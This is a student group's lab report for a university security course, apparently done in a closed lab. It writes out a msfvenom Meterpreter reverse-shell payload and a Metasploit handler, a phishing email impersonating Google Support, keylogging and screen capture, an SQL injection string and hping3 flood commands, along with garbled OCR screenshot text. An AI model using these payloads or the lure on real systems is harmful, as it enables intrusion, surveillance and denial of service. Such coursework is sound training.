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This lab is completed as a group, and everyone earns the same grade. Make sure that you identify who does what within the lab. In very extreme and well documented cases, the grades of group members may be different. This is assessed on a case-by-case basis.

Topology: Use Lab 01: Reconnaissance Scanning environment

Submission details:
Your report should include screenshots and explanations for each step. If you do not include screenshots and explanations, you will earn a zero. The explanation should be properly written. Just copying and pasting from the labs will not be acceptable.
Must be submitted in MS Word format – (.DOCX)
Substitute group number for xx in filename: 24SP-ITEC493-Final_Lab-Gxx.docx
Use leading zero in single digit group numbers.
Group 1 should submit: 24SP-ITEC493-Final_Lab-G01.docx
PDF File format WILL NOT BE ACCEPTED and earn a zero.



Part 1: Access Control (10 points): Mary
In this part, you will implement simple access control rules using iptables on the Border Router (BR). Specifically, the following requirements must be considered:
Devices in the internal network must be able to communicate with the Wide Area Network (WAN).

By using ping in the command prompt, we can verify that the victim’s machine can communicate with the attacker’s machine with successful ping statistics. 
ping 216.0.0.10

[image: ]
Devices in the internal network must be able to communicate with the Demilitarized Zone (DMZ).

By using ping in the command prompt, we can verify that the victim’s machine can communicate with the web server. 
ping 172.16.0.10
ping 172.16.0.20
ping 172.16.0.30

[image: ]
By using ping in the command prompt, we can verify that the victim’s machine can communicate with the DNS server.
[image: ]
By using ping in the command prompt, we can verify that the victim’s machine can communicate with the mail server.
[image: ]
Devices in the Wide area network must be able to communicate with devices in the DMZ zone.

By issuing the following pings on the attacker’s shell, we can verify that devices in the WAN can communicate with devices in the DMZ zone. 
ping 172.16.0.10 -c 4
ping 172.16.0.20 -c 4
ping 172.16.0.30 -c 4

[image: ]

Devices in the WAN cannot initiate connections to devices in the internal network.

By using the ping in the attacker’s shell, we can verify that the attacker’s machine cannot initiate communication to devices within the internal network since the pings were not successful. 
ping 192.168.0.10 -c 4
[image: ]
The IP address 216.0.0.5 must not be able to access the web application residing on the web server.
By issuing the ping command, we can verify that the ip address cannot access the web application residing on the web server
ping 216.0.0.5 -c 4

[image: ]
Part 2: Scanning (10 points): Ahmed
In this part, you will be using the attacker’s machine to discover the devices and the services running in the network. The following requirements must be considered:
We would like to know which devices are up and running in the network. The report must include the IP address of the devices.

By running Nmap -Sn 172.16.0.0/16 it will display all the devices that are running within the network. 172.16.0.10 is the web server, .20 is the DNS and .30 is the mail server.
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Then, we want to determine the operating system used on the devices.

By running nmap -O 172.16.0.1 we will get information regarding the router. .10 is for the web server, .20 Is for DNS and .30 is for the mail server.
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Now we want to know which services are running on the discovered devices. For each service, we would like to know the version of the service that is running.

Nmap -sT 172.16.0.1/.10/.20/.30 will provide us information regarding the services these devices are running
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And 

Nmap -sV 172.16.0.1/.10/.20/.30 will provide us information regarding the version these services are running
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Part 3: Vulnerability assessment (10 points): Mary
In this part, you will be using the attacker’s machine to conduct a vulnerability assessment on the devices and the services running in the network. The following requirements must be considered:
The OpenVAS tool must be used for this task.

We can access the OpenVAS interface by using the following command:
gvm-start
[image: ]
We can then launch the web browser and access the following link:
https://127.0.0.1:9392
We will then be sure to select ”Advanced...” > Accept Risk and Continue to navigate to the OpenVAS UI

[image: ]

We will then sign into OpenVAS using the username, “Admin” and the password, “password”, which will then take us to the home page
[image: ]
[image: ]
We will then navigate to “Scans” > “Tasks” and select “New Task”
[image: ]

The vulnerability assessment must be conducted on:
Web server

We will begin the vulnerability assessment on the Web Server. We will name the scanner, “Web-server scanner” and comment “This task is used to scan the web server for vulnerabilities”
[image: ]

We will then create a new target by selecting the button next to “Scan Targets”. We will name it “Web-server” and comment “The web server in the DMZ zone.” We will select a manual host and assign it to the 172.16.0.10 IP address.
[image: ]

We will then create a port by selecting the button at the right of the Port List field. We are going to name this port “Port 80” and set the manual to “T:80” to observe TCP sessions on Port 80. Click Save.
[image: ]

Click Save on each of the pop ups. Verify that the scanner is set to “OpenVAS Default”

Click the start button at the bottom of the page located next to the scanner you just created. It will then read “Requested” under Status.
[image: ]

Go to the Web Server tab and enter “root” for the web server login and then “password” for the password.

[image: ]
Issue the following command: docker exec –it c1aaf24acdd9 ss –a | grep 216.0.0.10 | wc  -l

The docker command interacts with the docker service and the exec –it executes a command inside the container, c1aaf24acdd9 is the ID of the container, ss displays active TCP connections, grep searches for a pattern, and wc –l counts the lines.
[image: ]
As we can see, there are 58 active TCP sessions from the IP host of the attacker which is 216.0.0.10. The number continues to increase each time we issue the command.

DNS server
We will now conduct a vulnerability scan for the DNS server, using the same steps as above. The main difference being we rename the scanner to DNS-server and use the DNS ip address, which is 172.16.0.20. We will also be using a different port, since port 80 is already in use by the web server.
[image: ]

Mail server
We use the same steps for the Web server and DNS server to create the task for the web server and DNS server, once again. Again, the only differences will be the names, IP addresses, and ports.
[image: ]
[image: ]
The scanners are running for all three vulnerability tests:
[image: ]
Another vulnerability assessment for the three servers mentioned above must be conducted using the CVE database.

We will conduct another vulnerability assessment utilizing the CVE database. 
We will create a new task for the Web server. Repeat the same steps for the DNS and mail server, then run the tasks
[image: ]
[image: ]
A detailed report must be presented. It should be exported as a TXT file.

We will then create a report for the scans we just created. Navigate to Scans > Reports and choose a scan. Select the “Download filtered report” option
[image: ]
This is what the report looks like when we open the TXT file report
[image: ]

Part 4: Remote Access Trojan and Backdoor installation (10 points): Ahmed
In this part, you will be using the attacker’s machine to gain access to the victim’s machine. The following requirements must be considered:
You will generate a malicious payload (Reverse_TCP Meterpreter). 
To create this use setoolkit / social engineering attacks / windows reverse tcp meterpreter 
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You create a listener to accept connections from the victim.
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We inputted the attackers ip from IF config and used the port 444

You will start an HTTP server and copy the malicious file to it.
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I opened a new tab and made sure the server is running then moved the file to the directory 

The victim will download that file and execute it. Note that the antivirus must be disabled on the victim for this attack to work.[image: A screenshot of a computer
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By disabling AV and downloading the file from software.com we established a connection 

Then, you will delete an arbitrary file on the victim’s machine.
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Using sessions – l we identified session no 1 was running which we then used session -I 1 to connect to that and delete the file and use dir to verify the deletion

You must escalate privileges and gain root access to the victim.
Set timeouts to ensure the session does not time out and getsystem is used to attempt to gain root priv
[image: A screenshot of a computer
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We had to background the session and then load the payload and once we had that ready we set session and hit run.
[image: ]

Then, you must install a backdoor which will allow you to maintain persistent access to the victim’s machine.
Backdoor has been installed and verified using the getsystem command,



Part 5: Social Engineering and Spyware (10 points): Mary
In this part, you will be using the attacker’s machine to gain access to the victim’s machine. The following requirements must be considered:
You will send a phishing email that contains a malicious file.
Once the victim executes the file, you will gain access to their machine.
Then, you will install a spyware to monitor the user’s behavior. This includes taking a screenshot, activating screenshare, and logging the keys they type on the keyboard. So you start out by building the payload that will be used in the phishing email

We use the sudo su command to access kali from the terminal. We then use the command msfvenom –p windows/meterpreter/reverse_tcp LHOST=216.0.0.10 LPORT=4444 –f exe > /home/kali/security_update.exe to create a malicious file
[image: ]
We then use the command msfconsole to begin our exploits

[image: ]

After msfconsole had loaded, we set the payload

[image: ]

We will then utilize setoolkit to prepare the phishing email with the file we just created.

[image: ]

[image: ]
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As we can see from accessing the victim’s email, the email had successfully been sent.
[image: ]
When the user selects the file, the spyware will be installed onto the computer and the attacker can view the victim’s keystrokes and monitor.
[image: ]

Here is a screen capture of the viewer’s monitor, saved as an image in the attacker’s computer.
[image: ]
Here is a screenshare of the victim’s monitor, which we can access by using the command set session 1, run, and opening the URL link

[image: ]We can also log the victim’s keystrokes by using the commands run, sessions –i 1, keyscan_start, and keyscan_dump


Part 6: Web-based attacks (10 points): Ahmed
In this part, you will be using the attacker’s machine to access the website hosted on the web server. The following requirements must be considered:
You will attempt to perform an SQL injection attack, different than the one shown in the lab in class.

Use firefox and type the address 172.16.0.10. head over to SQL injection category and in the user ID Box type (‘ or ‘1’=1 UNION SELECT USER, password from users#)

[image: A screenshot of a computer
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Then, you will perform a cross-site scripting attack. This should be like the one mentioned in the lab.
Open a terminal page and start the server using python -m SimpleHTTPServer
[image: A screenshot of a computer
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Select XSS dom on firefox select English then on the searchbar type the following and run 

[image: A screenshot of a computer
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You will be redirected to this page and we can view the server status on the terminal
[image: ]
Part 7: DDoS attacks (10 points): Mary
In this part, you will be using the attacker’s machine to flood the web server with requests as follows:
SYN Flood. DO NOT randomize the source IP of the packets.

Before we launch the attacks, we want tobe sure to use the following commands:
sysctl –w net.ipv4.conf.ens33.rp_filter=0
sysctl –w net.ipv4.conf.all.rp_filter=0
[image: ]
We then want to clear the Web Server’s cookies by using the following commands: 
docker exec -it c1aaf24acdd99 sysctl net.ipv4.tcp_syncookies=0
docker exec -it c1aaf24acdd99 sysctl net.ipv4.tcp_no_metrics_save=1[image: ]
We will then launch our first attack, the SYN flood attack:[image: ]

After executing the “top” command in a separate window, we can see that the attack was successful.
[image: ]
By running nload on the web server, we can also see that the attack was successful based on the incoming data.
[image: ]
By entering 172.16.0.10 into the URL, we can verify that the attack was successful.
[image: ]
UDP Flood.
We will start the attack by issuing the following command:
[image: ]
We can verify that the attack was successfully by running the command “top” in a new tab.
[image: ]
FIN Flood.
We will start the attack by issuing the following command:

[image: ]
We can verify that the attack was successfully by running the command “top” in a new tab.
[image: ]
RST Flood.
We will start the attack by issuing the following command:
[image: ]
We can verify that the attack was successfully by running the command “top” in a new tab.

[image: ]
ICMP Flood.
We will start the attack by issuing the following command:
[image: ]
We can verify that the attack was successfully by running the command “top” in a new tab.
[image: ]


Part 8: Cryptography – Symmetric Encryption (10 points): Ahmed 
In this part, you will be generating a symmetric key used for encrypting data. The following requirements must be considered:
The key to be generated must be AES256.
You will encrypt any file of your choice using that key.
You will decrypt the file using the same key and verify that it matches the original file.
You will encrypt using both CBC and EBC modes.ew4s
[image: ]

[image: ]
[image: ]

Launched mininet and ran alice terminal, created the file called project.txt using echo. 




Using AES256 I encrypted the file verified using ls and used xxd ciphertext.bin to show the dump



Using bob’s terminal I decrypted the file by adding -d 




Encrypted the file this time using cbc mode in alice’s terminal ran ls to verify and xxd to show dump



Successfully decrypted it in Bob’s Terminal.







Part 9: Cryptography – Asymmetric Encryption (10 points): Mary
In this part, you will be generating asymmetric keys used for encrypting data. The following requirements must be considered:
Generate two RSA 2048-bit public/private key pairs. One for Alice (sender) and one for Bob (receiver).

First, we want to access the topology. We will do so by launching the client and logging in using password, and then opening up the file, crypthography.mn.

We will generate the private key for Alice.

And then a prviate key for Bob.

Here are the public and private exponents for the rsa key for Alice.



Create a text file that contains the following phrase: 
	This is the final project for ITEC493.
We create a text file with the secret phrase and put it in a text file called top_secret.txt

Encrypt the file with the public key of Bob.
We issue the following command to encrypt the file with Bob’s public key

Decrypt the file with the private key of Bob.
We issue the following command to decrypt the file with Bob’s private key.

Sign the file as Bob and verify Bob’s signature.
We issue the following command to sign the file as Bob.

We then verify Bob’s signature.

Use Diffie-Hellman (DH) to share a secret between Alice and Bob.
We can use the following commands to share secrets between Alice and Bob utilizing DH.



Part 10: Public Key Infrastructure (10 points): Ahmed
In this part, you will become a root Certificate Authority (CA).
You will generate a certificate for the domain mycompany.com.
You will sign the certificate using the CA.
Then, you will install it on the Apache web server on the attacker’s machine.
You should do the necessary configuration so that no warning messages are displayed when visiting the website. 



























We begin First by creating the directories 

Using gedit we open the file and change the subject name and policy  on line 204 and 86





Then Create more directories and when that is done generate a file that contains these certificates ls to verify they exist.






















The file name is index and it contains details about certificates.


Become a certificate authority 


Generate the symmetric keys

























Once that is done create a certificate request and sign


Now to certify the certificate



Now we must deploy the certificate into the apache server by heading into its directory



Now to edit 2 files within the directory 




Next we need to enable the following, Open ssl module, defaultssl module and then restart the server






Head over to the browser and import the certificate from PKI.


Refresh the browser


Certificate information
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mit/ ).

05:SCAN(V=7.91%E=4%D=4/18%0T=21%CT=1%CU=35584%PV=YADS=2%DC=T%G=Y*TH=66212AC

:6%P=x86_64-pc-Linux-gnu) SEQ(SP=101%GCD=1%15R=10B4TI=Z%CI=ZATS=A) SEQ(SP=1

01%GCD=2%ISR=10B%TI=Z%CI=ZXII=I%TS=A) OPS (01=M5B4ST1INW7%02=MSBAST1 INW7%0

=MSBANNT11NW7%04=M5B4ST11NW7%05=MSBAST11NW7%06=M5B4ST11)WIN (W1=7120%W2=

7120%W3=7120%W4=7120%W5=7120%W6=7120) ECN (R=YADF=Y%T=40%W=7210%0=MSBANNSN

W7%CC=Y%Q=) T1(R=YDF=YXT=40%5=0%A=5+%4F=ASARD=0%Q=) T2 (R=N) T3 (R=N) T4 (R=YAD

Y%T=40%=0%5=A%A=Z%F =R%0=4RD=0%0=) T5 (R=YXDF =YX T=40%W=0%5=Z%A=5+4F=AR%0

05:=%RD=0%0=) T6 (R=YADF=Y%T=40%N=0%S=A%A=Z%F=R%0=4RD=0%0=) T7 (R=N) UL (R=Y%DF=N

Mininet 05 :4T=40%TPL=164%UN=0%RIPL=GRID=GRIPCK=GRUCK=GYRUD=G) IE (R=YADF T=N'T=40%C
05:0=5)

Home

Network Distance: 2 hops

05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.67 seconds

E(roo(@ © ) [/home/kali!
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Nmap scan report for 172.16.6.20

root@kali: home/kali - o x

Host is up (0.00031s latency).
Not shown: 997 closed ports
PORT  STATE SERVICE

File System 21/tcp open ftp

22/tcp open ssh
53/tcp open domain
No exact 05 matches for host (If you know what 0S is running on it, see https://nmap.org/sub

mit/ ).
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Mininet 05 :4T=40%TPL=164%UN=0%RIPL=GRID=GRIPCK=GRUCK=GYRUD=G) IE (R=YADF T=N'T=40%C
05:0=5)

Network Distance: 2 hops

05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.65 seconds
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Network Distance: 2 hops

05 detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 25.65 seconds

[0 @ ) (/home/kali)
172.16.6.30

starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:16 EDT

Nmap scan report for 172.16.6.30

Host is up (0.60627s latency)

Not shown: 996 closed ports

PORT  STATE SERVICE

21/tcp open ftp

25/tcp open smtp

143/tcp open imap

993/tcp open imaps

Device type: general purpose

Running: Linux 5.X

05 CPE: cpe:/0:linux:linux_kernel:5.1

05 details: Linux 5.1

Network Distance: 2 hops

05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.77 seconds
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#
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Starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:17 EDT
Nmap scan report for 172.16.6.1

Host is up (0.00015s latency).

Not shown: 998 closed ports

PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh

Device type: general purpose

Running: Linux 3.X|4.X

05 CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
05 details: Linux 3.2 - 4.9

Network Distance: 1 hop

05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds
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Starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:21 EDT
Nmap scan report for 172.16.6.1

Host is up (6.000165 latency)

Not shown: 998 closed ports

PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
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05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds

[0 1@ ) /home/kald)
# 172.16.0.1

Starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:21 EDT
Nmap scan report for 172.16..1

Host is up (0.000165 latency).

Not shown: 998 closed ports

PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds

[ @) (/home/kali)
172.16.0.10

starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:21 EDT

Nmap scan report for 172.16.6.10

Host is up (0.00620s latency).

Not shown: 997 closed ports

PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
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starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:21 EDT
Nmap scan report for 172.16.6.10

Host is up (0.00620s latency).

Not shown: 997 closed ports

PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
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Nmap scan report for 172.16.6.20

Host is up (0.00620s latency).
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PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh
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Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds

EL '@ ) [/home/kalil
-1

%

€170 Chapt..rds | Quizlet  Geolntelligen...

N NeTLAS:

0 Industry

10:22AM O

©h + @0

»

Time Remaining

115




image19.png
M < 0 & 101737850 @ © 0O + B

Apple ITEC570_La

Bing

gle Yahoo ~redpointcolum...ok | Linktree

Yahoo ~ VitalSource Bo..helf: Library  Vitals

TE V7.0 Chapt..rds | Quizlet  Geolntelligen...Auto Industry »

im) N NETLAB+

H1.12001 e: 4905 > Lab 1: Rec AS Time Remaining

115

hrs. | min.

[ T =L El root@kali: /home/kali

10:23AM O A 0/ac

root @kl Mhome/kal -ox
' File Actions Edit View Help
Trash Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
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-# 172.16.0.20
Starting Nmap 7.91 ( https://nmap.org ) at 2624-04-18 16:22 EDT
Nmap scan report for 172.16.0.20

Host is up (0.60020s latency)
File System Not shown: 997 closed ports
PORT  STATE SERVICE
21/tcp open ftp
22/tcp open ssh

- 3/tcp open domain

Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds

Home
[0 @ - /home/kali]
# 172.16.6.30
Starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:22 EDT
Nmap scan report for 172.16.6.30
Host is up (0.000425 latency).
Not shown: 996 closed ports
Mininet PORT  STATE SERVICE

21/tcp open ftp
25/tcp open smtp
143/tcp open imap
993/tcp open imaps

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
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root@kali home/lali - o x
File Actions Edit View Help

[0 1@ - /home/kald]

# 172.16.6.30
starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:22 EDT
Nmap scan report for 172.16.6.30
Host is up (0.000425 latency).
Not shown: 996 closed ports
PORT  STATE SERVICE

21/tcp open ftp

25/tcp open smtp

143/tcp open imap

993/tcp open  imaps

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds

[0 1) [ /home/kald]

# 172.16.0.1

starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:23 EDT
Nmap scan report for 172.16.6.1

Host is up (0.000045s latency).

Not shown: 998 closed ports

PORT  STATE SERVICE VERSION

21/tcp open ftp  vsftpd 3.0.2

22/tcp open ssh  OpenSSH 7.4 (protocol 2.)

service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.73 seconds
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Ly 172.16.0.1

starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:23 EDT

Nmap scan report for 172.16.6.1

Host is up (0.006045s latency)

Not shown: 998 closed ports

PORT  STATE SERVICE VERSION

21/tcp open ftp  vsftpd 3.0.2

22/tcp open ssh  OpensSH 7.4 (protocol 2.8)

service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.73 seconds

[ @) (/home/kali)
172.16.6.10

Starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:24 EDT

Nmap scan report for 172.16.6.10

Host is up (0.60011s latency)

Not shown: 997 closed ports

PORT  STATE SERVICE VERSION

21/tcp open ftp  vsftpd 3.6.2

22/tcp open ssh  OpensSH 7.4 (protocol 2.0)

80/tcp open http  Apache httpd 2.4.25 ((Debian))

service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.74 seconds
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root@kali home/lali - o x
File Actions Edit View Help

Starting Nmap 7.91 ( https://nmap.org ) at 2024-64-18 10:24 EDT
Nmap scan report for 172.16.6.10

Host is up (0.00011s latency).

Not shown: 997 closed ports

PORT  STATE SERVICE VERSION

21/tcp open ftp  vsftpd 3.6.2

22/tcp open ssh  OpensSH 7.4 (protocol 2.8)

80/tcp open http  Apache httpd 2.4.25 ((Debian))

service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.74 seconds
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Starting Nmap 7.91 ( https://nmap.org ) at 2024-04-18 10:24 EDT
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Host is up (0.60010s latency)
Not shown: 997 closed ports
PORT  STATE SERVICE VERSION
21/tcp open ftp  vsftpd 3.6.2
22/tcp open ssh  OpenssH 7.4 (protocol 2.8)
3/tcp open domain ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.55 seconds
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Nmap scan report for 172.16.6.20

Host is up (0.00010s latency).

Not shown: 997 closed ports

PORT  STATE SERVICE VERSION

21/tcp open ftp  vsftpd 3.6.2

22/tcp open ssh  OpensSH 7.4 (protocol 2.8)

53/tcp open domain ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
service Info: 0Ss: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.55 seconds

(1001@ 111~ [/home/kali]
172.16.6.30

Starting Nmap 7.91 ( https://nmap.org ) at 2024-64-18 10:25 EDT

Nmap scan report for 172.16.6.30

Host is up (0.00011s latency).

Not shown: 996 closed ports

PORT  STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.2
25/tcp open smtp  Postfix smtpd
143/tcp open imap  Dovecot imapd

993/tcp open ssl/imap Dovecot imapd
Service Info: Host: 8ed841626cad; 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 23.59 seconds
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msf6 exploit(iilt i handlor) >
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- [*] Sending stage (175686 bytes) to 192.168.6.10
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[*] Using configured payload generic/shell reverse tcp
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be to send an email to one individual person. The second option
will allow you to import a Llist and send it to as many people as
you want within that list.
What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

99. Return to main menu.

ailer>l
setiphishing> Send email to:|





image57.png
imailersl
phishing> Send email to:victimemail-server.lab.local

1. Use a gmail Account for your email attack.
2. Use your own server or open relay

phishing>2

ohishing> From address (ex: moo@example. com) : supportegoogle . con
phishing> The FROM NAME the user will see:Google Support
phishing> Username for open-relay [blankl:

Password for open-relay [blank]:

setiphishing> SMTP email server address (ex. smtp.youremailserveryouown.com):172.16
setiphishing> Port number for the SMTP server [25]1:25

setiphishing> Flag this message/s as high priority? [yes|nol:yes

Do you want to attach a file - [y/nl: y

Enter the path to the file you want to attach: /home/kali/security update.exe
Do you want to attach an inline file - [y/nl: n

setiphishing> Email subject:Security Notice

Ssetiphishing> Send the message as htnl or plain? 'h' or 'p’ [pl:h

[1] IHPORTANT: When finished, type END (all capital) then hit {return} on a new line.
setiphishing> Enter the body of the message, type END (capitals) when finished
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set:phishing> Send the message as html or plain? 'h' or 'p’ [pl:h

(1] IMPORTANT: When finished, type END (all capital) then hit {return} on a new line.
set:phishing> Enter the body of the message, type END (capitals) when finished:Dear User, <b
r><br>Sonmeone tried to login to your Google account. Please open the attached file to disco
nnect the unauthorized user. <br>Ignore this email if you had recently logged in from anothe
r device.<br>Regards, <br>Google Support Tean

Next Line of the body: END

(=] SET has finished sending the emails

Press -~ to continue
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Mail Sorted by Received Select Security Notice <
> 2 Inboxes ~ Today
From Google Support No date
S to victim@mail-server.la
Az B security update.exe
— Google Support 242m
Security Notice @ Dear User,
Flagged Dear JoeSomeone tried to login to your Google account. Pl
2, victm@mai-serverlablocal Sommeone tried to login to your Google
account. Please open the attached file to
e disconnect the unauthorized user.
< Sent Ignore this email if you had recently logged
in from another device.
Trash
Regards,
Biciio Google Support Team
debug@mail-server.lab.local

Local Folders (o}
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156 > use exploit/multi/handler
] Using configured payload generic/shell reverse tcp

15£6 exploit (i (1 [111o) > set PAYLOAD windows/meterpreter/reverse tcp
AYLOAD => windows/meterpreter/reverse_tcp
15£6 exploit (111 111i1o) > set LHOST 216.0.
HOST => 216.0.0.10

1516 exploit (111 [1110151) > set LPORT 4444
PORT => 4444

1516 exploit (11 failer) > exploit

) Started reverse TCP handler on 216.0.0.16:4444
] Sending stage (175686 bytes) to 192.168.0.10

] Meterpreter session 1 opened (216.6.0.10:4444 -> 192.168.0.10:49682) at 2024-64-25 20:21
27 -0400

eterpreter > use espia
oading extension espia...Success.

eterpreter > screengrab

creenshot saved to: /home/kali/RCHYLYLG. jpeg

eterpreter > Running Firefox as root in a regular user's session is not supported. (SXAUTH
RITY is /home/kali/.Xauthority which is owned by kali.)

eterpreter > screengrab
creenshot saved to: /hone/kali/dNJdnpvL. jpeg

eterpreter > Running Firefox as root in a regular user's session is not supported. ($XAUTH
RITY is /home/kali/.Xauthority which is owned by kali.)
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installation on Debian systems. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/waw/html/index. html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.
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ent0S Linux 7 (Core)
lernel 4.19.1-1.el17.elrepo.xB6_64 on an xB6_64

R-FW login: root
assword :

ast login: Wed Dec 27 15:57:23 on ttyl

[root@BR-FW “1# sysctl -w net.ipvd.conf .ens33.rip_filter=

ysctl: cannot stat /proc/sys/met.ipvd/conf ens33/rip_filter: No such file or directory
[root@BR-FW ~1# sysctl -w net.ipvd.conf .ens33.rip_filter=8

ysctl: cannot stat /proc/sys/net/ipud/conf ens33/rip_filter: No such file or directory
[root@BR-FW ~1# sysctl -w met.ipud.conf.ens33.rp_filter=8

et.ipud.conf .ens33.rp_filter = 8

[root@BR-FW ~1# sysctl -u net.ipud.conf.all.rp_filter=8

et.ipvd.conf .all.rp_filter = 8

[root@BR-FW ~1# _
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[root@leb-server ~1# docker exec -it claafz4acddd sysctl net.ipud.tcp_syncookies=8
et.ipud . tcp_syncookies = 8

[root@leb-server ~1if docker exec -it claaf24acddd sysctl net.ipud.tcp_no_metrics_save=1
et.ipud.tcp_no_metrics_save = 1

[rootBUeb-server =18 _
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hping3 --flood -5 -p 80 172.16.6.10

PING 172.16.0.10 (etho 172.16.0.10): S set, 40 headers + 0 data bytes

ping in flood mode, no replies will be shown
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HPING 172.16.0.10 (ethe 172.16.0.10): udp mode set, 28 headers + © data bytes
n‘ung in flood mode, no replies will be shown
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(1001@ 1) [/home/kali]
hping3 -~flood ¢ -p 80 172.16.0.10

HPING 172.16.0.10 (etho 172.16.0.10): F set, 40 headers + 0 data bytes

hping in flood mode, no replies will be shown
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top - 18:19:59 up 1:00, 1 user, load average: 1.04, .80, 0.42
Tasks: 193 total, 2 running, 182 sleeping, 7 stopped, 2 zombie
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MiB Swap:  2206. total, 2206.0 free, 0 used.  1852.9 avail Mem
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(1001@ 1) [ /home/kali)

hping3 -flood R -p 80 172.16.6.10
HPING 172.16.0.10 (eth 172.16.0.10): R set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
=
--- 172.16.0.10 hping statistic
31382149 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 6.0/0.6/8.0 ms
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(1001® 1) [/home/kali]
. hpings --flood -icap 172.16.0.10

PING 172.16.0.10 (etho 172.16.0.10): icmp mode set, 28 headers + 0 data bytes
ping in flood mode, no replies will be shown
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> Executing “sudo python3 /home/kali/mininet/examples/miniedit.py”
[sudo] password for kali:
/home/kali/mininet/examples/miniedit.py:21: DeprecationWarning: The distutils package is dep
recated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential
alternatives
from distutils.version import StrictVersion
topo=none
Getting Hosts and Switches.
Getting Links.
**+ Configuring hosts
Alice Bob
*+++ Starting 0 controllers

**++ Starting 1 switches
B

No NetFlow targets specified.
No sFlow targets specified.
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